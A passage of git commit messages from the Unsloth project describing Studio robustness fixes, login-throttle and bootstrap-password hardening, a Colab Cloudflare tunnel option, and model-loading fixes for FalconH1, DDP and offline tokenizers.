- Wrap picker_visible_text() evaluate in robust_evaluate()
- Wrap _bubble_count() evaluate in robust_evaluate()
- Wrap assistant text query in robust_evaluate()
- Wrap theme_item click evaluation in robust_evaluate()
- Wrap background color/theme query in robust_evaluate()
This ensures all execution context losses from concurrent navigation are
properly caught and retried with exponential backoff, preventing transient
failures in the UI test suite.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix: revert robust_evaluate on theme_item.evaluate per Codex review
The theme_item.evaluate('el => el.click()') is side-effecting — retrying
after a context loss could double-toggle the theme. It's already inside
a 3-attempt try/except loop that handles click failures gracefully.
The other 4 changes (all read-only queries) remain wrapped in
robust_evaluate() since retrying them is safe.
* fix: wrap remaining chat UI evaluate
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: imagineer99 <samleejackson0@gmail.com>
* Studio: harden the data-recipe and inference consumer loops against pump death
Follow-up to #6643. The same single-unsupervised-consumer pattern the training
pump had lives in two sibling loops, with the same failure mode: one bad event
kills the only thread that updates the in-memory state every UI surface reads,
while the worker subprocess keeps running.
- data_recipe JobManager._pump_loop: a malformed worker log line that makes
parse_log_message raise no longer kills the pump. Guard _handle_event, the
queue read, and the worker-exit finalize, and broaden _drain_queue so a drain
error still finalizes the job instead of leaving it wedged "active" (which also
leaked the workflow-scoped API key until its 24h expiry).
- inference InferenceOrchestrator._dispatcher_loop: guard the routing body so a
malformed response or a mailbox put error can't kill the dispatcher and hang
every in-flight generation (callers key liveness on the subprocess, not on
this thread).
Adds regression tests for both.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: extend consumer-loop hardening to RAG, hub, auth, and stream-reader paths
Continuation of the data-recipe and inference pump hardening: the same
"background producer updates in-memory state that a single unsupervised
consumer surfaces to the UI" pattern shows up in several more Studio paths,
each able to silently freeze a UI surface while the worker keeps running.
RAG ingestion SSE (core/rag/ingestion.py):
- job_events polled the queue with a blocking get and never noticed client
disconnect or a dead worker, so a closed tab or a producer that died
without emitting a terminal event left the stream hanging. It now polls
with a timeout, emits heartbeats, ends on terminal job status, caps idle
time, and always pops the job registry in finally.
- Added _reap_finished_jobs() and call it from start_ingestion so finished
job state does not accumulate.
Startup reconcile (storage/rag_db.py, main.py):
- reconcile_orphaned_ingestion_jobs() marks ingestion jobs (and their
documents) that were left non-terminal by a previous crash as failed, so
the UI does not show jobs stuck "running" forever after a restart. Wired
in at startup next to cleanup_orphaned_runs().
Hub download watcher (hub/services/download_lifecycle.py):
- _watch() could leave a job pinned "running" if finalize raised. Body is
now guarded: on failure it logs and sets the job to error, and always
invalidates the hf cache scan in finally.
External provider stream (core/inference/external_provider.py):
- read timeout was None (no stall ceiling); set to 300s so a wedged
upstream surfaces as an error instead of an indefinitely hung stream.
Auth store (auth/storage.py):
- Enable WAL + busy_timeout on the auth DB so token validation (read on
every request) and login writes stop serialising on the rollback journal.
Matches studio_db / rag_db / providers_db.
Login rate limiter (routes/auth.py):
- _LOGIN_IP_BUCKETS could grow unbounded under spoofed-IP traffic; cap it
and prune stale buckets, mirroring the per-account bucket handling.
Training progress SSE (routes/training.py):
- Break promptly on client disconnect instead of waiting for the next
yield to fail on a closed socket, matching the export / data-recipe SSE
routes.
llama-server stdout drain (core/inference/llama_cpp.py):
- Broaden the drain guard so an unexpected decode/read error logs at debug
and stops the drainer cleanly instead of escaping the thread.
Frontend stream readers (chat-api.ts, rag-api.ts):
- Wrap the SSE read loops in try/finally + reader.cancel() so early return
([DONE]), thrown errors, and consumer aborts release the reader lock
instead of holding it until GC.
Tests:
- test_training_progress_stream_nan: fake request now implements the async
is_disconnected() the route polls, matching the other SSE route fakes.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: address Codex review feedback on the consumer-loop hardening
Four follow-ups from the automated review, all on code this PR introduced:
- Data-recipe pump (manager.py): a queue read that keeps raising an error
outside the read's narrow catch set (e.g. a broken queue pipe after the
child died) hit the `continue` guard and skipped the dead-worker finalize
below, spinning forever and leaving the job wedged "active" with its
workflow key unretired. On a read failure, fall through to finalize when
the worker is no longer alive. Added a regression test.
- RAG ingestion SSE (ingestion.py): the 5-minute idle cap could end the
stream while the job was still pending/running (a large document spends
minutes in embedding/storing with no per-batch progress event). The route
then sends [DONE], and the client treats a no-terminal-frame end as
completion, marking the document indexed mid-ingestion. Drop the idle cap:
while the worker is alive and non-terminal we keep heartbeating; the stream
ends only on terminal DB status, the None sentinel, or client disconnect.
- Login rate limiter (auth.py): the per-IP path pruned but then added the
new IP unconditionally, so a spoofed-source-IP spray kept _LOGIN_IP_BUCKETS
unbounded and made every new IP pay a full-dict prune scan. Gate the add on
the cap, mirroring the account path.
- Hub download watcher (download_lifecycle.py): if finalize raised before it
reaped (proc.wait) and dropped the worker (e.g. an I/O error draining
stderr), the crash path published a terminal state while the live Popen
stayed registered and kept writing the cache, and the terminal set_job let
claim() admit a retry on the same repo. Terminate + drop the worker before
setting the terminal state.
* Studio: keep login throttling working when the per-IP bucket dict saturates
Review follow-up. The previous cap fix skipped creating a bucket for a new IP
once _LOGIN_IP_BUCKETS was full, returning ip_fails=0. Under a sustained spray
that also fills the account dict, every failure from such an IP then looked
first-seen and _login_blocked had no bucket to enforce, so the cap effectively
disabled throttling once saturated.
Bound the dict with a FIFO eviction instead: if the IP is new and the dict is
full, reclaim expired buckets (rate-limited so a burst of distinct IPs can't
make each failure an O(n) sweep) and, if still full, evict the oldest-inserted
IP. The new IP always gets a real bucket, so a saturating (e.g. spoofed
X-Forwarded-For) spray stays throttled while memory stays bounded. Added a
regression test that saturates the dict and asserts a later IP is still blocked.
* Studio: address Codex review (RAG queue lifecycle, stream error, orphan chunks)
Three follow-ups on the Phase 6 changes:
- RAG ingestion SSE (ingestion.py): job_events removed the per-job queue in its
finally on ANY exit, including an early client disconnect while the worker is
still running. That dropped the worker's later events (the queue is the only
one _emit writes to) and made a reconnect find no queue and receive only
[DONE], which the client treats as completion. Only drop the queue on a
terminal exit (None sentinel / terminal DB status); leftover terminal queues
are still swept by _reap_finished_jobs. Added queue-lifecycle tests.
- External provider stream (routes/inference.py): once the 300s read timeout can
fire, the stream's except path failed the monitor but ended without an error
frame or [DONE], so the chat client saw a bare EOF and saved the timed-out
answer as a successful partial with no error. Emit an SSE error frame (and
[DONE]) on stream failure so the client surfaces it.
- RAG startup reconcile (storage/rag_db.py): marking a half-ingested document
failed left its chunks/fts/vec rows intact, and retrieval filters by scope not
status, so a failed document could still be retrieved and cited. Purge the
document's chunks when reconciling it to failed (the doc row stays for
re-ingest).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: release the remaining SSE stream readers (training, data-recipe, export)
reviewer.py follow-up. The chat and RAG SSE readers were wrapped in
try/finally + reader.cancel(), but the other three readers built on the same
response.body.getReader() pattern were left without it: streamTrainingProgress,
streamRecipeJobEvents, and streamExportLogs leak the ReadableStreamDefaultReader
lock (held until GC) when the consumer aborts, returns early, or a parse/callback
throws. Wrap each in try/finally + reader.cancel() (export already had a
try/catch, so it only needed the finally). All five frontend SSE readers now
release the reader symmetrically.
* Tighten resilience comments and docstrings
Condense the verbose explanatory comments and internal-helper docstrings added
in this branch to shorter, clearer forms. Comment/whitespace only; verified no
code changed via AST diff. No behaviour change.
* Studio: keep chunks for completed docs during ingestion reconcile
Startup reconciliation flips orphaned (non-terminal) ingestion jobs to failed and
purges the document's chunks so a failed source can't be retrieved. But it dropped
the chunks unconditionally, so a document the worker had already committed as
'completed' before the crash (only its job row left non-terminal) lost every chunk
while still reporting 'completed'. That leaves an empty source that retrieval can't
return and dedup (status != 'failed') blocks from re-ingest.
Only purge chunks when the document UPDATE actually transitions it to failed; an
already-completed document keeps its chunks. Adds reconcile regression tests for
both the completed-doc and genuine in-flight-orphan cases.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: drop a finished RAG job's queue when the client disconnects
job_events kept the per-job queue until it consumed the None sentinel, so a UI
that stops on the terminal event (its reader.cancel aborts the stream before
[DONE]) left the queue registered until the next _reap_finished_jobs sweep; a
batch of uploads followed by idling retained them all.
_run writes the terminal DB status before emitting the terminal event, so on
generator exit, drop the queue when the job's DB row is already terminal (worker
done, nothing to resume) and keep it only while the worker is still running. Adds
a disconnect-after-terminal-event regression test.
* Remove stray async task output files committed by mistake
* Studio: harden login IP throttle and end progress stream on disconnect
Two Codex review items:
Login per-IP throttle: when the per-IP bucket dict saturated, FIFO eviction could
drop a still-hot (blocked) bucket, so an IP could flood the dict with distinct
(or spoofed) source IPs to push out its own bucket and retry as first-seen. Stop
evicting hot buckets; a new IP that can't fit now shares a bounded overflow
counter that still trips the per-IP threshold, so a saturating spray stays
throttled and no live counter is reset.
Progress SSE: on client disconnect the polling loop only broke and fell through
to the unconditional final 'complete' frame, so a buffered or proxying consumer
could read a still-active run as completed. Return from the generator instead.
Adds regression tests for both (spray cannot reset a hot bucket; disconnect while
active emits no complete frame).
* Studio: shard the login overflow counter and stop cancelling chat stream after [DONE]
Two Codex review items:
Login throttle overflow: the single shared overflow counter meant that once a
saturating spray pushed it past the per-IP threshold, _login_blocked returned 429
for every new unbucketed source IP, before credentials were checked -- a global
login denial. Shard the overflow into a fixed array of counters keyed by hash(ip),
so a hot shard only throttles the IPs that map to it while a single source's
repeated failures still concentrate in one shard and stay throttled. Memory stays
bounded and no live bucket is evicted. Adds a regression test that a hot overflow
shard does not block an unrelated IP.
Chat stream: the reader.cancel() in the SSE finally fired even after a natural
[DONE]/EOF. The backend finalizes its api-monitor entry right after yielding the
sentinel (the local pass-through finishes after the last yield), so a client
cancel there can be observed as a disconnect and mark a completed request as
cancelled. Track natural completion and only cancel on an early/abnormal exit.
(No frontend unit test: the Studio frontend has no test harness.)
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: give prep-timeout test fakes an is_disconnected method
The progress stream now ends on client disconnect (await request.is_disconnected()
before falling through to the terminal frame). After merging that into the
prep-timeout tests added later on main, their _FakeRequest/_ReconnectRequest must
provide is_disconnected or the generator raises AttributeError under CI.
* Studio: keep the login overflow throttle when bucket capacity frees up
_login_blocked only consulted the per-IP overflow shard while the bucket dict was
still at capacity. If a slot freed before the 60s window expired (e.g. another
IP's successful login calls _clear_login_bucket), a source counted in a hot shard
stopped being blocked and its next failure got a fresh per-IP bucket, resetting
the throttle the overflow path exists to preserve. Always max in the IP's shard
(shards are empty outside saturation, so it is a no-op in the common case). Adds a
regression test that a hot source stays throttled after a bucket frees.
* Studio: clear a login IP's overflow throttle on successful login
_clear_login_bucket reset the per-IP and per-account buckets on a successful
login but not the overflow shard, so after the dict saturated and an IP was
counted in overflow, a later successful login left those entries behind and the
next failed attempt could immediately return 429.
Store overflow entries as (timestamp, ip) so a source is throttled by its own
count within the shard (also removing cross-IP collateral within a shard), and
drop just that IP's entries in _clear_login_bucket. Adds a regression test that a
successful login clears the overflow throttle.
* Studio: bound the login overflow shard memory under high-cardinality spray
The per-IP overflow tracked failures in a time-pruned deque of (timestamp, ip)
tuples, so a spoofed-X-Forwarded-For spray of distinct one-off IPs grew memory and
the per-check scan with request cardinality for the whole window -- undermining
the bucket cap that exists to bound memory. Replace each shard with a fixed-
capacity dict (ip -> [count, window_start]): O(1) lookups, and when a shard is
full a one-off IP evicts the lowest-count entry (Space-Saving) so memory is hard-
bounded while a persistent attacker keeps a high count and is never evicted. Adds
a regression test that shards stay within the per-shard cap under a 5000-IP spray.
* Studio: purge chunks for already-failed docs during ingestion reconcile
The reconcile chunk-purge was gated on the documents UPDATE actually flipping a
non-terminal doc to failed. A doc the worker had already marked 'failed' before
the crash (job row left non-terminal) was not re-flipped, so its committed chunks
were kept and stayed retrievable/citable, since retrieval filters by scope not
status. Purge chunks whenever the document is not 'completed' (failed, in-flight,
or gone), preserving the completed-doc carve-out. Adds a regression test.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: don't inherit an evicted IP's count onto a new overflow source
When a full overflow shard evicted the lowest-count entry, the new source
inherited that count (Space-Saving base + 1). If a shard was saturated with hot
entries, an unrelated new IP could land at/over the threshold and be 429'd after a
single attempt -- cross-IP collateral despite the per-source-isolation intent.
New entries now start clean at count 1; the only cost is that a heavy hitter that
is the lowest-count entry in a fully saturated shard can briefly reset, which is
preferable to blocking a bystander. Adds a regression test.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: carry overflow failures into a new IP bucket on transition
_login_blocked took max(per-IP bucket, overflow shard) rather than combining them,
so a source could log (threshold-1) failures in overflow during saturation and,
once a bucket slot freed, another (threshold-1) in a fresh bucket within the same
window -- roughly doubling the per-IP limit. When a saturated-era IP first gets a
real bucket, migrate its windowed overflow count into that bucket (and drop the
overflow entry) so the combined failures throttle at the intended limit. Adds a
regression test.
* Studio: reconcile a completed doc's orphaned job to completed, not failed
When a crash left an ingestion job non-terminal after its document was already
committed as completed, reconcile marked the job failed. After restart the upload
UI has no in-memory SSE queue and falls back to getJob(), which treats a failed
job as an indexing failure and removes/toasts a document that is actually
searchable. Mark the job completed (keeping its chunks) when its document is
completed. Extends the completed-doc reconcile test to assert the job status.
* Studio: clamp the overflow failure count migrated into a login bucket
A saturated source could accrue an unbounded overflow count, then materialize
one deque entry per recorded failure when a bucket slot freed, allocating an
arbitrarily large deque under the login lock. Only at-or-above the per-IP
threshold matters for blocking, so cap the count there at the record and take
sites; the migration is now bounded without weakening the limit.
* Studio: keep the RAG job stream alive on a transient status read
The heartbeat poll read the job row unguarded; a momentarily-locked DB would
raise out of job_events, which the SSE route turns into a terminal error frame,
and the UI drops a document whose worker is still running. Treat a failed status
read as non-terminal: heartbeat and retry, and keep the queue so a reconnect can
resume.
* Studio: set busy_timeout before journal_mode on the auth DB
Switching journal_mode needs a lock, so if a refresh-token write already holds
one, journal_mode=WAL raises SQLITE_BUSY and the shared try leaves the
connection on SQLite's default zero lock wait. Set busy_timeout first so the
switch waits instead of failing.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* feat: improve Unsloth Studio chat title generation quality
* fix: address self-review (guard echoed role labels before punctuation stripping)
* Address title generation review feedback
Consolidate the echo guard into a single leading-label check (now also
covering base and lora) and drop the post-punctuation duplicate that
could never match a colon once punctuation is stripped. Swap the
slice-based first-assistant lookup for an indexed find to avoid copying
the messages array, and note the brace counter's assumptions in the
test helper.
---------
Co-authored-by: Matt Van Horn <455140+mvanhorn@users.noreply.github.com>
Co-authored-by: Daniel Han <unslothai@gmail.com>
* Patch FalconH1RMSNorm to fix float64 compilation on Intel Arc DG2
Fixesunslothai/unsloth#6555
Root cause: FalconH1RMSNorm.forward() does hidden_states.pow(2).mean().rsqrt()
with self.variance_epsilon being a Python float64. When torch.compile fuses
this pattern into the auto-generated Triton kernel
'triton_per_fused__to_copy_mean_mul_pow_rsqrt_*', the float64 epsilon causes
type promotion to double. Intel Arc DG2 GPUs do not support double precision
(Double type is not supported on this platform).
The existing patch_rms_layernorm() only patches LlamaRMSNorm, not the
separate FalconH1RMSNorm class in transformers.models.falcon_h1.
Fix: add Unsloth_FalconH1RMSNorm that delegates to fast_rms_layernorm
(@torch.compiler.disable, handles epsilon as tl.float32), and call the
patch in FastFalconH1Model.pre_patch() before model creation.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Condense FalconH1RMSNorm patch comments
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* Fix DDP crash from CPU-resident rotary inv_freq buffer
DistributedDataParallel broadcasts all named buffers regardless of
persistence or device, but Unsloth's RoPE inv_freq buffer is kept on
CPU on purpose (per-GPU cos/sin caches are precomputed instead). That
mismatch crashed multi-GPU DDP training with "No backend type
associated with device type cpu" during _sync_module_states.
Mark inv_freq/short_inv_freq/long_inv_freq buffers as DDP-ignored
instead of moving them to GPU, so they're skipped during the buffer
broadcast without disabling broadcast_buffers for the rest of the
model.
Fixes#6656
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address review: harden DDP-ignore against private API drift, re-apply after PEFT wrap
- Wrap the private DistributedDataParallel._set_params_and_buffers_to_ignore_for_model
call in try/except, falling back to setting _ddp_params_and_buffers_to_ignore
directly so a future PyTorch API change can't block model loading.
- Move _exclude_rope_inv_freq_from_ddp to loader_utils.py (shared by loader.py,
llama.py, vision.py without circular imports) and call it again after
get_peft_model wraps the model in a PeftModel, since the rotary buffers'
fully qualified names change once nested under "base_model.model...".
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: imagineer99 <samleejackson0@gmail.com>
* Studio: set the admin password before exposing it on the network
On first run Studio seeds the default `unsloth` admin with a random
bootstrap password and embeds it into index.html (window.__UNSLOTH_BOOTSTRAP__)
so the local user can change it without typing it. A request with no Origin
header counts as same-origin, which is what a normal top-level GET sends, so
the page hands out the password to whoever loads it. That is harmless on the
default 127.0.0.1 bind, but `--secure` (public Cloudflare tunnel) and
`--host 0.0.0.0` (raw port reachable on the network) would serve the plaintext
admin password to remote visitors during the bootstrap window.
Fix this at the source: when launching a network-exposed web UI, prompt the
operator in the terminal for a real admin password (with confirmation) before
the socket binds or the tunnel opens, and persist it via update_password (which
clears must_change_password and deletes the .bootstrap_password file). After
that there is no bootstrap secret to leak. Non-interactive launches can supply
it via UNSLOTH_STUDIO_ADMIN_PASSWORD. The masked reader echoes '*' per
character and works on Linux, macOS, and Windows (PowerShell/cmd). Loopback
binds, --api-only (no web UI), and Colab are unaffected.
As defense in depth, the index handler now embeds the bootstrap object only for
a direct local navigation: same-origin AND a loopback TCP peer with no
proxy/tunnel forwarding headers (cf-ray, cf-connecting-ip, x-forwarded-for,
x-forwarded-host, x-real-ip, forwarded). Colab stays exempt. This keeps the
password off the wire even when the prompt is skipped (no TTY and no env var).
Adds unit coverage for the prompt/confirm/decision logic, an integration test
that provisioning clears the bootstrap state, and regression tests for the
local-direct gate (loopback/IPv6/mapped/localhost peers, LAN/public peers,
missing client, each forwarding header, spoofed XFF, and the Colab exemption).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: fail fast on an explicitly empty admin-password env var
resolve_admin_password_source treated UNSLOTH_STUDIO_ADMIN_PASSWORD="" like
the var was unset and fell back to the bootstrap backstop. Treat any set value
(including empty) as the env source so it reaches the minimum-length guard and
refuses to expose the server instead of silently keeping the seeded password.
* Studio: apply repo kwarg-spacing format to the secure-admin-password files
* Studio: drop the pre-exposure password prompt; keep the local-direct gate
Per review, the blocking prompt added friction for --secure / 0.0.0.0 first-run
launches without extra security: the local-direct injection gate in main.py
already keeps the bootstrap password off the network for any remote request.
Remove the prompt module and its tests; the gate plus the existing
must_change_password first-login flow are the fix.
* Studio: shut down an exposed first-run instance if the admin password is never changed
The local-direct gate keeps the seeded bootstrap password off the network, but
it stays a valid credential until first login changes it. For an exposed web UI
(--secure / 0.0.0.0, not --api-only, not Colab), arm a daemon timer: if the
password is still the seeded one after the deadline (UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT,
default 3600s, 0 disables), print a message and shut Studio down via the existing
graceful-shutdown path; if it was changed, leave Studio running.
* Studio: revert the local-direct injection gate; keep the 1-hour auto-shutdown
Per maintainer decision, keep the first-run auto-fill behavior unchanged (the
bootstrap password still seeds the login form for convenience) and rely on the
exposed-instance auto-shutdown to bound the window: an exposed web UI that never
changes the seeded admin password is torn down after UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT
(default 1h). Restores studio/backend/main.py and its origin test to upstream.
* Studio: render the bootstrap-timeout shutdown message with a human duration
The message hardcoded 'minute(s)' via timeout//60, so a sub-minute timeout
(e.g. a 30s test value) printed 'within 1 minute(s)'. Add _format_duration so
it reads '30 seconds' / '1 minute 30 seconds' / '60 minutes' as appropriate.
The default 3600s still renders '60 minutes'.
* Studio: drop stale local-direct gate reference from bootstrap_timeout docstring
The gate was reverted (timer-only), so the module docstring should not describe
a main.py gate that no longer exists.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio Colab: add opt-in shareable Cloudflare tunnel link
colab.start(cloudflare=True) opts in to a free Cloudflare quick tunnel and
shows a trycloudflare.com link above the proxy iframe, reachable from any
device. Default OFF: bare start() keeps the in-tab Colab-proxy behavior.
run_server suppresses the tunnel on Colab by design, so colab.py starts it
directly via cloudflare_tunnel.start_studio_tunnel(); failures degrade to
the Colab proxy only.
* Studio Colab notebook: surface opt-in cloudflare=True in start cell
* Studio Colab: reskin shareable Cloudflare link to match the proxy banner
Retrofit _shareable_link_html to reuse the original Colab proxy banner skin
from show_link (white card, black border, Unsloth gem, black Open button)
instead of the plain dark box, so the shareable Cloudflare link gets the same
prominent 'Ready!' treatment.
* Studio Colab: address review feedback on Cloudflare tunnel
- try/finally around tunnel start + embed + keepalive so a KeyboardInterrupt
while the tunnel is starting or the iframe is rendering tears it down instead
of orphaning the cloudflared process (Gemini review).
- Publish the directly-started tunnel URL onto app.state.cloudflare_url via a new
_publish_cloudflare_url helper so /api/health advertises it; otherwise the
frontend's API examples fall back to the unreachable raw server_url (Codex P2).
_stop_cloudflare_tunnel now also clears it so health stops showing a dead tunnel.
- Notebook: make cloudflare=True a replacement for start(), not an addition, since
start() blocks and the second call would never run if both are left in (Codex P2).
* Studio Colab: gate Cloudflare tunnel on auth + honor opt-out in run_server
- Refuse to open the Cloudflare tunnel while the admin still holds its seeded
bootstrap password. While requires_password_change is true the server injects
that password into same-origin index GETs, and a public tunnel request counts
as same-origin, so sharing the link would leak admin access. New
_bootstrap_password_pending() gate (fails safe) blocks the tunnel and tells the
user to change the password first, then re-run start(cloudflare=True) (P1).
- Pass cloudflare=False into run_server so the opt-out holds even when Colab
detection fails; this helper is now the sole owner of the tunnel decision,
preventing run_server from opening a tunnel on the 0.0.0.0 bind by default (P2).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio Colab: drop duplicate tunnel link log and simplify start cell guidance
* Studio Colab: validate /api/health identity before reusing or tunneling a port
* Studio Colab: condense verbose docstrings and comments
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* Fix offline checkpoint load/export failing with "tokenizer is weirdly not loaded"
Loading a fine-tuned checkpoint with no internet (e.g. a Studio export) crashed
with "Unsloth: The tokenizer is weirdly not loaded? Please check if there is one."
For a LoRA adapter the loader reassigns model_name to the base model repo id and
only keeps the local checkpoint dir as tokenizer_name when it contains
tokenizer_config.json, tokenizer.json AND special_tokens_map.json. Modern
tokenizers (e.g. Gemma) store special tokens inside tokenizer_config.json and
omit special_tokens_map.json, so tokenizer_name fell back to the base repo id.
The tokenizer/processor loads in vision.py then hit the Hub with no
local_files_only, so with no network they failed (AutoProcessor) or hung for
minutes (AutoTokenizer) even though every file was already cached.
loader.py: keep the local checkpoint dir as tokenizer_name when it has a
tokenizer config plus the actual tokenizer files (tokenizer.json / tokenizer.model
/ vocab files); special_tokens_map.json is no longer required.
vision.py: compute an effective local_files_only (explicit kwarg plus the
HF_HUB_OFFLINE / TRANSFORMERS_OFFLINE env vars, mirroring loader.py and
diffusion.py) and thread it through every AutoConfig, AutoProcessor,
AutoTokenizer and the manual VLM processor fallback, including the
hf_hub_download in that fallback (which now prefers a local file). When a load
fails and no offline env var is set, retry against the local cache. The retry
forces HF offline mode because local_files_only alone does not stop
AutoProcessor / AutoTokenizer from issuing a /api/models request during class
resolution. The final error now explains the offline/cache cause instead of the
misleading "weirdly not loaded" message.
studio export: probe Hub reachability once per checkpoint load and pass
local_files_only when offline so exports use the local checkpoint dir / cache
instead of hanging or crashing with no internet.
Online behavior is unchanged: the new flags default to off and the retry only
runs after a network related failure.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address review: safer offline forcing, cached fallback config, proxy-aware probe
Follow-up to the offline checkpoint load fix, addressing review feedback:
- vision.py: only flip the process-wide HF offline flag when offline is actually
requested (local_files_only / env) or after a real network failure, never
pre-emptively while we might be online. The flip is now guarded by a lock +
depth counter so nested or concurrent windows restore the flag correctly
(no stale value).
- vision.py: guard the get_auto_processor fallback so a network error there
returns None and the local-cache retry still runs instead of escaping.
- vision.py: in the manual VLM processor fallback, read tokenizer_config.json
via hf_hub_download(..., local_files_only=...) so a cached repo-id config is
still resolved offline and the model-specific image/video tokens are restored.
- studio export: make the reachability probe proxy aware (probe the configured
HTTP(S) proxy egress, honour NO_PROXY, use the endpoint port) so a proxy-only
setup is not wrongly marked offline; allow UNSLOTH_OFFLINE_PROBE=0 to disable.
- studio export: run the audio/vision type-detection probes inside the
forced-offline window when offline, so their config/tokenizer reads hit the
local cache instead of waiting out connection timeouts.
Online behavior remains unchanged.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address review: gate offline retry, safer tokenizer_name pop, skip audio net probe offline
- vision.py: only force the process-wide HF offline flag on the tokenizer
retry when offline was requested or the captured primary error is actually
network related, so a permanent tokenizer error no longer toggles global
offline mode for other concurrent loads.
- loader.py: always pop tokenizer_name out of kwargs and let a caller-supplied
value win, avoiding a "multiple values for keyword argument 'tokenizer_name'"
TypeError when it is also passed explicitly downstream.
- model_config.py / export.py: add local_files_only to detect_audio_type so the
raw requests.get tokenizer_config fetch is skipped offline (it ignores the HF
offline flag), and pass it from the export probe.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address review: classify LocalEntryNotFoundError as offline-related
huggingface_hub's LocalEntryNotFoundError subclasses FileNotFoundError, so the
"not isinstance(cur, FileNotFoundError)" guard in _is_offline_related_error was
swallowing it and it could never be recognised as offline, despite being listed
in the network error types. It means "not in cache and the Hub is unreachable",
which is genuinely offline. Capture the class into an isinstance-checkable tuple
(empty, hence a no-op, if the import is unavailable) and exclude it from the
FileNotFoundError guard, so a real offline failure now triggers the local-cache
retry while a plain missing-file error still propagates.
* Address review: require merges.txt for BPE, status-gate HTTP errors, isolate local-only audio cache
- loader.py: a local dir with vocab.json but no merges.txt (and no tokenizer.json)
is not a loadable BPE tokenizer, so do not treat it as self-sufficient; require
merges.txt alongside vocab.json in both gate blocks, otherwise fall back to the
base model tokenizer as before.
- vision.py: _is_offline_related_error no longer buckets every HfHubHTTPError /
requests HTTPError as offline. HTTP errors are judged by status code: only a
transient 5xx triggers the forced local-cache retry, while 401/403 (auth/gated)
and 404 (missing) propagate as the real error instead of being masked. Hard
signals (connection/timeout/OfflineModeIsEnabled/LocalEntryNotFoundError) still
classify as offline.
- model_config.py: include local_files_only in the audio-detection cache key so a
local-only (offline) negative result cannot be reused by a later online probe,
which would otherwise route an audio model through the text loader until restart.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address re-review: fix studio test stubs, force offline env in probe window, drop redundant retry
- studio/backend/tests/test_vision_cache.py: the three _detect_audio_from_tokenizer
stubs were called with the new local_files_only kwarg and raised TypeError, failing
Backend CI. Add local_files_only to the stub signatures and add a test that a
local-only negative does not poison a later online audio probe.
- export.py: the type-detection probe window now also sets HF_HUB_OFFLINE /
TRANSFORMERS_OFFLINE env vars (saved/restored), not just the in-process flag.
transformers_version._load_config_json / _check_tokenizer_config_needs_v5 gate
their urllib fetches on the env vars, and is_vision_model may spawn a subprocess
that inherits os.environ but not the in-process flag; without the env vars a
probe-detected offline export could still block on a network timeout.
- vision.py: only retry the processor load when the first attempt was online and
failed with a network error. When local_files_only was already requested the first
attempt was forced offline, so the previous retry just repeated identical failing
work before the last-resort path.
- model_config.py: correct the _audio_detection_cache type annotation to the 3-tuple
key (name, token_fingerprint, local_files_only).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address review: thread-safe probe-offline env window, clear error for local dir without config
- export.py: guard the HF_HUB_OFFLINE / TRANSFORMERS_OFFLINE mutation in
_force_offline_probe_window with a lock + depth counter (mirrors _force_hf_offline),
so concurrent / nested export probes only flip on first entry and restore on last
exit. This prevents overlapping export requests from permanently poisoning those
env vars or restoring a stale value.
- vision.py: in the VLM processor fallback, when tokenizer_name is a local directory,
read its tokenizer_config.json directly and raise a clear FileNotFoundError if it is
absent, instead of handing the local path to hf_hub_download (which would treat it as
a repo id and raise a confusing HFValidationError / RepositoryNotFoundError).
hf_hub_download is now only used for actual repo ids.
* Address review: classify raw socket.gaierror DNS failures as offline
Add the platform-specific getaddrinfo / DNS-resolution wording to the offline
detection list in _is_offline_related_error so a bare socket.gaierror (an OSError
subclass) is recovered from the local cache: "Name or service not known" and
"Temporary failure in name resolution" (Linux) and "nodename nor servname
provided" (macOS). Genuine non-network OSErrors (disk full, permission denied)
and plain FileNotFoundError still propagate.
* Address review: retry degraded VLM offline, force offline for text export + patch-tokenizer fallback
